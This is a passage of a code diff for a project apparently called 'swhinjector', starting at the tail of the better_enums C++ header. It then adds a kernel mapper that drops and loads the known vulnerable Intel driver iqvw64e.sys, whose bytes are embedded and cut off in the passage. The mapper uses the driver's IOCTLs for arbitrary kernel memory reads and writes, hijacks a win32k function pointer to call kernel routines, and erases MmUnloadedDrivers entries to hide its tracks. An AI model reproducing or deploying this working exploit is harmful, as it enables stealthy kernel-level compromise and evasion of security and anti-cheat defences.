*value[Enum::_size_constant]; \ + return value; \ + } \ + \ + inline bool& _initialized() \ + { \ + static bool value = false; \ + return value; \ + } + +// C++11 fast version +#define BETTER_ENUMS_CXX11_PARTIAL_CONSTEXPR_TRIM_STRINGS_ARRAYS(Enum, ...) \ + constexpr const char *_the_raw_names[] = \ + { BETTER_ENUMS_ID(BETTER_ENUMS_STRINGIZE(__VA_ARGS__)) }; \ + \ + constexpr const char * const * _raw_names() \ + { \ + return _the_raw_names; \ + } \ + \ + inline char* _name_storage() \ + { \ + static char storage[] = \ + BETTER_ENUMS_ID(BETTER_ENUMS_RESERVE_STORAGE(__VA_ARGS__)); \ + return storage; \ + } \ + \ + inline const char** _name_array() \ + { \ + static const char *value[Enum::_size_constant]; \ + return value; \ + } \ + \ + inline bool& _initialized() \ + { \ + static bool value = false; \ + return value; \ + } + +// C++11 slow all-constexpr version +#define BETTER_ENUMS_CXX11_FULL_CONSTEXPR_TRIM_STRINGS_ARRAYS(Enum, ...) \ + BETTER_ENUMS_ID(BETTER_ENUMS_TRIM_STRINGS(__VA_ARGS__)) \ + \ + constexpr const char * const _the_name_array[] = \ + { BETTER_ENUMS_ID(BETTER_ENUMS_REFER_TO_STRINGS(__VA_ARGS__)) }; \ + \ + constexpr const char * const * _name_array() \ + { \ + return _the_name_array; \ + } \ + \ + constexpr const char * const * _raw_names() \ + { \ + return _the_name_array; \ + } + +// C++98, C++11 fast version +#define BETTER_ENUMS_NO_CONSTEXPR_TO_STRING_KEYWORD + +// C++11 slow all-constexpr version +#define BETTER_ENUMS_CONSTEXPR_TO_STRING_KEYWORD \ + constexpr + +// C++98, C++11 fast version +#define BETTER_ENUMS_DO_DECLARE_INITIALIZE \ + static int initialize(); + +// C++11 slow all-constexpr version +#define BETTER_ENUMS_DECLARE_EMPTY_INITIALIZE \ + static int initialize() { return 0; } + +// C++98, C++11 fast version +#define BETTER_ENUMS_DO_DEFINE_INITIALIZE(Enum) \ + inline int Enum::initialize() \ + { \ + if (BETTER_ENUMS_NS(Enum)::_initialized()) \ + return 0; \ + \ + ::better_enums::_trim_names(BETTER_ENUMS_NS(Enum)::_raw_names(), \ + BETTER_ENUMS_NS(Enum)::_name_array(), \ + BETTER_ENUMS_NS(Enum)::_name_storage(), \ + _size()); \ + \ + BETTER_ENUMS_NS(Enum)::_initialized() = true; \ + \ + return 0; \ + } + +// C++11 slow all-constexpr version +#define BETTER_ENUMS_DO_NOT_DEFINE_INITIALIZE(Enum) + +// C++98, C++11 fast version +#define BETTER_ENUMS_DO_CALL_INITIALIZE(value) \ + ::better_enums::continue_with(initialize(), value) + +// C++11 slow all-constexpr version +#define BETTER_ENUMS_DO_NOT_CALL_INITIALIZE(value) \ + value + + + +// User feature selection. + +#ifdef BETTER_ENUMS_STRICT_CONVERSION +# define BETTER_ENUMS_DEFAULT_SWITCH_TYPE \ + BETTER_ENUMS_ENUM_CLASS_SWITCH_TYPE +# define BETTER_ENUMS_DEFAULT_SWITCH_TYPE_GENERATE \ + BETTER_ENUMS_ENUM_CLASS_SWITCH_TYPE_GENERATE +#else +# define BETTER_ENUMS_DEFAULT_SWITCH_TYPE \ + BETTER_ENUMS_REGULAR_ENUM_SWITCH_TYPE +# define BETTER_ENUMS_DEFAULT_SWITCH_TYPE_GENERATE \ + BETTER_ENUMS_REGULAR_ENUM_SWITCH_TYPE_GENERATE +#endif + + + +#ifndef BETTER_ENUMS_DEFAULT_CONSTRUCTOR +# define BETTER_ENUMS_DEFAULT_CONSTRUCTOR(Enum) \ + private: \ + Enum() : _value(0) { } +#endif + + + +#ifdef BETTER_ENUMS_HAVE_CONSTEXPR + +#ifdef BETTER_ENUMS_CONSTEXPR_TO_STRING +# define BETTER_ENUMS_DEFAULT_TRIM_STRINGS_ARRAYS \ + BETTER_ENUMS_CXX11_FULL_CONSTEXPR_TRIM_STRINGS_ARRAYS +# define BETTER_ENUMS_DEFAULT_TO_STRING_KEYWORD \ + BETTER_ENUMS_CONSTEXPR_TO_STRING_KEYWORD +# define BETTER_ENUMS_DEFAULT_DECLARE_INITIALIZE \ + BETTER_ENUMS_DECLARE_EMPTY_INITIALIZE +# define BETTER_ENUMS_DEFAULT_DEFINE_INITIALIZE \ + BETTER_ENUMS_DO_NOT_DEFINE_INITIALIZE +# define BETTER_ENUMS_DEFAULT_CALL_INITIALIZE \ + BETTER_ENUMS_DO_NOT_CALL_INITIALIZE +#else +# define BETTER_ENUMS_DEFAULT_TRIM_STRINGS_ARRAYS \ + BETTER_ENUMS_CXX11_PARTIAL_CONSTEXPR_TRIM_STRINGS_ARRAYS +# define BETTER_ENUMS_DEFAULT_TO_STRING_KEYWORD \ + BETTER_ENUMS_NO_CONSTEXPR_TO_STRING_KEYWORD +# define BETTER_ENUMS_DEFAULT_DECLARE_INITIALIZE \ + BETTER_ENUMS_DO_DECLARE_INITIALIZE +# define BETTER_ENUMS_DEFAULT_DEFINE_INITIALIZE \ + BETTER_ENUMS_DO_DEFINE_INITIALIZE +# define BETTER_ENUMS_DEFAULT_CALL_INITIALIZE \ + BETTER_ENUMS_DO_CALL_INITIALIZE +#endif + + + +// Top-level macros. + +#define BETTER_ENUM(Enum, Underlying, ...) \ + BETTER_ENUMS_ID(BETTER_ENUMS_TYPE( \ + BETTER_ENUMS_CXX11_UNDERLYING_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE_GENERATE, \ + BETTER_ENUMS_DEFAULT_TRIM_STRINGS_ARRAYS, \ + BETTER_ENUMS_DEFAULT_TO_STRING_KEYWORD, \ + BETTER_ENUMS_DEFAULT_DECLARE_INITIALIZE, \ + BETTER_ENUMS_DEFAULT_DEFINE_INITIALIZE, \ + BETTER_ENUMS_DEFAULT_CALL_INITIALIZE, \ + Enum, Underlying, __VA_ARGS__)) + +#define SLOW_ENUM(Enum, Underlying, ...) \ + BETTER_ENUMS_ID(BETTER_ENUMS_TYPE( \ + BETTER_ENUMS_CXX11_UNDERLYING_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE_GENERATE, \ + BETTER_ENUMS_CXX11_FULL_CONSTEXPR_TRIM_STRINGS_ARRAYS, \ + BETTER_ENUMS_CONSTEXPR_TO_STRING_KEYWORD, \ + BETTER_ENUMS_DECLARE_EMPTY_INITIALIZE, \ + BETTER_ENUMS_DO_NOT_DEFINE_INITIALIZE, \ + BETTER_ENUMS_DO_NOT_CALL_INITIALIZE, \ + Enum, Underlying, __VA_ARGS__)) + +#else + +#define BETTER_ENUM(Enum, Underlying, ...) \ + BETTER_ENUMS_ID(BETTER_ENUMS_TYPE( \ + BETTER_ENUMS_CXX98_UNDERLYING_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE, \ + BETTER_ENUMS_DEFAULT_SWITCH_TYPE_GENERATE, \ + BETTER_ENUMS_CXX98_TRIM_STRINGS_ARRAYS, \ + BETTER_ENUMS_NO_CONSTEXPR_TO_STRING_KEYWORD, \ + BETTER_ENUMS_DO_DECLARE_INITIALIZE, \ + BETTER_ENUMS_DO_DEFINE_INITIALIZE, \ + BETTER_ENUMS_DO_CALL_INITIALIZE, \ + Enum, Underlying, __VA_ARGS__)) + +#endif + + + +namespace better_enums { + +// Maps. + +template +struct map_compare { + BETTER_ENUMS_CONSTEXPR_ static bool less(const T& a, const T& b) + { return a < b; } +}; + +template <> +struct map_compare { + BETTER_ENUMS_CONSTEXPR_ static bool less(const char *a, const char *b) + { return less_loop(a, b); } + + private: + BETTER_ENUMS_CONSTEXPR_ static bool + less_loop(const char *a, const char *b, size_t index = 0) + { + return + a[index] != b[index] ? a[index] < b[index] : + a[index] == '\0' ? false : + less_loop(a, b, index + 1); + } +}; + +template > +struct map { + typedef T (*function)(Enum); + + BETTER_ENUMS_CONSTEXPR_ explicit map(function f) : _f(f) { } + + BETTER_ENUMS_CONSTEXPR_ T from_enum(Enum value) const { return _f(value); } + BETTER_ENUMS_CONSTEXPR_ T operator [](Enum value) const + { return _f(value); } + + BETTER_ENUMS_CONSTEXPR_ Enum to_enum(T value) const + { + return + _or_throw(to_enum_nothrow(value), "map::to_enum: invalid argument"); + } + + BETTER_ENUMS_CONSTEXPR_ optional + to_enum_nothrow(T value, size_t index = 0) const + { + return + index >= Enum::_size() ? optional() : + Compare::less(_f(Enum::_values()[index]), value) || + Compare::less(value, _f(Enum::_values()[index])) ? + to_enum_nothrow(value, index + 1) : + Enum::_values()[index]; + } + + private: + const function _f; +}; + +template +BETTER_ENUMS_CONSTEXPR_ map make_map(T (*f)(Enum)) +{ + return map(f); +} + + + +// Stream I/O operators. + +// This template is used as a sort of enable_if for SFINAE. It should be +// possible to use std::enable_if, however is not available in +// C++98. Non-char streams are currently not supported. +template +struct only_if_enum { typedef T type; }; + +} + +template +inline typename better_enums::only_if_enum, + typename Enum::_enumerated>::type& +operator <<(std::basic_ostream& stream, const Enum &value) +{ + return stream << value._to_string(); +} + +template +inline typename better_enums::only_if_enum, + typename Enum::_enumerated>::type& +operator >>(std::basic_istream& stream, Enum &value) +{ + std::basic_string buffer; + + stream >> buffer; + better_enums::optional converted = + Enum::_from_string_nothrow(buffer.c_str()); + + if (converted) + value = *converted; + else + stream.setstate(std::basic_istream::failbit); + + return stream; +} + + + +#endif // #ifndef BETTER_ENUMS_ENUM_H diff --git a/swhinjector/src/intel_driver.cpp b/swhinjector/src/intel_driver.cpp new file mode 100644 index 0000000..5ee90e3 --- /dev/null +++ b/swhinjector/src/intel_driver.cpp @@ -0,0 +1,370 @@ +#include "intel_driver.hpp" + +HANDLE intel_driver::Load() +{ + std::cout << "[<] Loading vulnerable driver" << std::endl; + + char temp_directory[MAX_PATH] = { 0 }; + const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory); + + if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH) + { + std::cout << "[-] Failed to get temp path" << std::endl; + return nullptr; + } + + const std::string driver_path = std::string(temp_directory) + "\\" + driver_name; + std::remove(driver_path.c_str()); + + if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) + { + std::cout << "[-] Failed to create vulnerable driver file" << std::endl; + return nullptr; + } + + if (!service::RegisterAndStart(driver_path)) + { + std::cout << "[-] Failed to register and start service for the vulnerable driver" << std::endl; + std::remove(driver_path.c_str()); + return nullptr; + } + + return CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); +} + +void intel_driver::Unload(HANDLE device_handle) +{ + std::cout << "[<] Unloading vulnerable driver" << std::endl; + + ClearMmUnloadedDrivers(device_handle); + CloseHandle(device_handle); + + service::StopAndRemove(driver_name); + + char temp_directory[MAX_PATH] = { 0 }; + + const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory); + const std::string driver_path = std::string(temp_directory) + "\\" + driver_name; + + std::remove(driver_path.c_str()); +} + +bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) +{ + if (!destination || !source || !size) + return 0; + + COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; + + copy_memory_buffer.case_number = 0x33; + copy_memory_buffer.source = source; + copy_memory_buffer.destination = destination; + copy_memory_buffer.length = size; + + DWORD bytes_returned = 0; + return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); +} + +bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) +{ + if (!address || !size) + return 0; + + FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; + + fill_memory_buffer.case_number = 0x30; + fill_memory_buffer.destination = address; + fill_memory_buffer.value = value; + fill_memory_buffer.length = size; + + DWORD bytes_returned = 0; + return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); +} + +bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t * out_physical_address) +{ + if (!address) + return 0; + + GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; + + get_phys_address_buffer.case_number = 0x25; + get_phys_address_buffer.address_to_translate = address; + + DWORD bytes_returned = 0; + + if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) + return false; + + *out_physical_address = get_phys_address_buffer.return_physical_address; + return true; +} + +uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) +{ + if (!physical_address || !size) + return 0; + + MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; + + map_io_space_buffer.case_number = 0x19; + map_io_space_buffer.physical_address_to_map = physical_address; + map_io_space_buffer.size = size; + + DWORD bytes_returned = 0; + + if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) + return 0; + + return map_io_space_buffer.return_virtual_address; +} + +bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) +{ + if (!address || !size) + return false; + + UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; + + unmap_io_space_buffer.case_number = 0x1A; + unmap_io_space_buffer.virt_address = address; + unmap_io_space_buffer.number_of_bytes = size; + + DWORD bytes_returned = 0; + + return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); +} + +bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) +{ + return MemCopy(device_handle, reinterpret_cast(buffer), address, size); +} + +bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) +{ + return MemCopy(device_handle, address, reinterpret_cast(buffer), size); +} + +bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) +{ + if (!address || !buffer || !size) + return false; + + uint64_t physical_address = 0; + + if (!GetPhysicalAddress(device_handle, address, &physical_address)) + { + std::cout << "[-] Failed to translate virtual address 0x" << reinterpret_cast(address) << std::endl; + return false; + } + + const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size); + + if (!mapped_physical_memory) + { + std::cout << "[-] Failed to map IO space of 0x" << reinterpret_cast(physical_address) << std::endl; + return false; + } + + bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size); + + if (!UnmapIoSpace(device_handle, mapped_physical_memory, size)) + std::cout << "[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast(physical_address) << std::endl; + + return result; +} + +uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) +{ + if (!size) + return 0; + + static uint64_t kernel_ExAllocatePool = 0; + + if (!kernel_ExAllocatePool) + kernel_ExAllocatePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePool"); + + uint64_t allocated_pool = 0; + + if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size)) + return 0; + + return allocated_pool; +} + +bool intel_driver::FreePool(HANDLE device_handle, uint64_t address) +{ + if (!address) + return 0; + + static uint64_t kernel_ExFreePool = 0; + + if (!kernel_ExFreePool) + kernel_ExFreePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool"); + + return CallKernelFunction(device_handle, nullptr, kernel_ExFreePool, address); +} + +uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string & function_name) +{ + if (!kernel_module_base) + return 0; + + IMAGE_DOS_HEADER dos_header = { 0 }; + IMAGE_NT_HEADERS64 nt_headers = { 0 }; + + if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE || + !ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE) + return 0; + + const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + + if (!export_base || !export_base_size) + return 0; + + const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + + if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size)) + { + VirtualFree(export_data, 0, MEM_RELEASE); + return 0; + } + + const auto delta = reinterpret_cast(export_data) - export_base; + + const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta); + const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); + const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta); + + for (auto i = 0u; i < export_data->NumberOfNames; ++i) + { + const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta)); + + if (!_stricmp(current_function_name.c_str(), function_name.c_str())) + { + const auto function_ordinal = ordinal_table[i]; + const auto function_address = kernel_module_base + function_table[function_ordinal]; + + if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) + { + VirtualFree(export_data, 0, MEM_RELEASE); + return 0; // No forwarded exports on 64bit? + } + + VirtualFree(export_data, 0, MEM_RELEASE); + return function_address; + } + } + + VirtualFree(export_data, 0, MEM_RELEASE); + return 0; +} + +bool intel_driver::GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t * out_kernel_function_ptr, uint64_t * out_kernel_original_function_address) +{ + // 488b05650e1400 mov rax, qword ptr [rip+offset] + // ff150f211600 call cs:__guard_dispatch_icall_fptr + + static uint64_t kernel_function_ptr = 0; + static uint64_t kernel_original_function_address = 0; + + if (!kernel_function_ptr || !kernel_original_function_address) + { + const uint64_t kernel_NtGdiDdDDIReclaimAllocations2 = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("win32kbase.sys"), "NtGdiDdDDIReclaimAllocations2"); + + if (!kernel_NtGdiDdDDIReclaimAllocations2) + { + std::cout << "[-] Failed to get export win32kbase.NtGdiDdDDIReclaimAllocations2" << std::endl; + return false; + } + + const uint64_t kernel_function_ptr_offset_address = kernel_NtGdiDdDDIReclaimAllocations2 + 0x7; + int32_t function_ptr_offset = 0; // offset is a SIGNED integer + + if (!ReadMemory(device_handle, kernel_function_ptr_offset_address, &function_ptr_offset, sizeof(function_ptr_offset))) + return false; + + kernel_function_ptr = kernel_NtGdiDdDDIReclaimAllocations2 + 0xB + function_ptr_offset; + + if (!ReadMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address))) + return false; + } + + *out_kernel_function_ptr = kernel_function_ptr; + *out_kernel_original_function_address = kernel_original_function_address; + + return true; +} + +bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) +{ + ULONG buffer_size = 0; + void* buffer = nullptr; + + NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); + + while (status == nt::STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + + buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return false; + } + + uint64_t object = 0; + + auto system_handle_inforamtion = static_cast(buffer); + + for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) + { + const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; + + if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) + continue; + + if (current_system_handle.HandleValue == device_handle) + { + object = reinterpret_cast(current_system_handle.Object); + break; + } + } + + VirtualFree(buffer, 0, MEM_RELEASE); + + if (!object) + return false; + + uint64_t device_object = 0; + + if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object))) + return false; + + uint64_t driver_object = 0; + + if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object))) + return false; + + uint64_t driver_section = 0; + + if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section))) + return false; + + UNICODE_STRING us_driver_base_dll_name = { 0 }; + + if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) + return false; + + us_driver_base_dll_name.Length = 0; + + if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) + return false; + + return true; +} \ No newline at end of file diff --git a/swhinjector/src/intel_driver.hpp b/swhinjector/src/intel_driver.hpp new file mode 100644 index 0000000..98b593f --- /dev/null +++ b/swhinjector/src/intel_driver.hpp @@ -0,0 +1,144 @@ +#pragma once +#include +#include +#include +#include +#include + +#include "intel_driver_resource.hpp" +#include "service.hpp" +#include "utils.hpp" + +namespace intel_driver +{ + constexpr auto driver_name = "iqvw64e.sys"; + constexpr uint32_t ioctl1 = 0x80862007; + + typedef struct _COPY_MEMORY_BUFFER_INFO + { + uint64_t case_number; + uint64_t reserved; + uint64_t source; + uint64_t destination; + uint64_t length; + }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO; + + typedef struct _FILL_MEMORY_BUFFER_INFO + { + uint64_t case_number; + uint64_t reserved1; + uint32_t value; + uint32_t reserved2; + uint64_t destination; + uint64_t length; + }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO; + + typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO + { + uint64_t case_number; + uint64_t reserved; + uint64_t return_physical_address; + uint64_t address_to_translate; + }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO; + + typedef struct _MAP_IO_SPACE_BUFFER_INFO + { + uint64_t case_number; + uint64_t reserved; + uint64_t return_value; + uint64_t return_virtual_address; + uint64_t physical_address_to_map; + uint32_t size; + }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO; + + typedef struct _UNMAP_IO_SPACE_BUFFER_INFO + { + uint64_t case_number; + uint64_t reserved1; + uint64_t reserved2; + uint64_t virt_address; + uint64_t reserved3; + uint32_t number_of_bytes; + }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO; + + HANDLE Load(); + void Unload(HANDLE device_handle); + + bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size); + bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size); + bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address); + uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size); + bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size); + bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); + bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); + bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size); + uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size); + bool FreePool(HANDLE device_handle, uint64_t address); + uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name); + bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address); + bool ClearMmUnloadedDrivers(HANDLE device_handle); + + template + bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) + { + constexpr auto call_void = std::is_same_v; + + if constexpr (!call_void) + { + if (!out_result) + return false; + } + else + { + UNREFERENCED_PARAMETER(out_result); + } + + if (!kernel_function_address) + return false; + + // Setup function call + + const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2")); + + if (!NtGdiDdDDIReclaimAllocations2) + { + std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2" << std::endl; + return false; + } + + // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2) + + uint64_t kernel_function_ptr = 0; + uint64_t kernel_original_function_address = 0; + + if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address)) + return false; + + // Overwrite the pointer with kernel_function_address + + if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address))) + return false; + + // Call function + + if constexpr (!call_void) + { + using FunctionFn = T(__stdcall*)(A...); + const auto Function = static_cast(NtGdiDdDDIReclaimAllocations2); + + *out_result = Function(arguments...); + } + else + { + using FunctionFn = void(__stdcall*)(A...); + const auto Function = static_cast(NtGdiDdDDIReclaimAllocations2); + + Function(arguments...); + } + + // Restore the pointer + + WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address)); + return true; + } +} \ No newline at end of file diff --git a/swhinjector/src/intel_driver_resource.hpp b/swhinjector/src/intel_driver_resource.hpp new file mode 100644 index 0000000..e5d1da0 --- /dev/null +++ b/swhinjector/src/intel_driver_resource.hpp @@ -0,0 +1,873 @@ +#pragma once +#include + +namespace intel_driver_resource +{ + static const uint8_t driver[] = { + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, + 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x85, 0xC5, 0x87, 0x03, 0xE4, 0xAB, 0xD4, 0x03, 0xE4, 0xAB, 0xD4, 0x03, 0xE4, 0xAB, 0xD4, 0x03, 0xE4, 0xAA, 0xD4, 0x24, 0xE4, 0xAB, 0xD4, 0x75, 0x79, 0xD0, 0xD4, 0x06, 0xE4, 0xAB, 0xD4, + 0x75, 0x79, 0xD6, 0xD4, 0x00, 0xE4, 0xAB, 0xD4, 0x75, 0x79, 0xC6, 0xD4, 0x04, 0xE4, 0xAB, 0xD4, 0xC0, 0xEB, 0xF5, 0xD4, 0x02, 0xE4, 0xAB, 0xD4, 0x75, 0x79, 0xD3, 0xD4, 0x02, 0xE4, 0xAB, 0xD4, 0x52, 0x69, 0x63, 0x68, 0x03, 0xE4, 0xAB, 0xD4, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x06, 0x00, 0xC3, 0xEA, 0x84, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, + 0x0B, 0x02, 0x08, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0xB2, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x5D, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, + 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x05, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5D, 0x00, 0x00, 0x04, 0x00, 0x00, 0x2A, 0x32, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 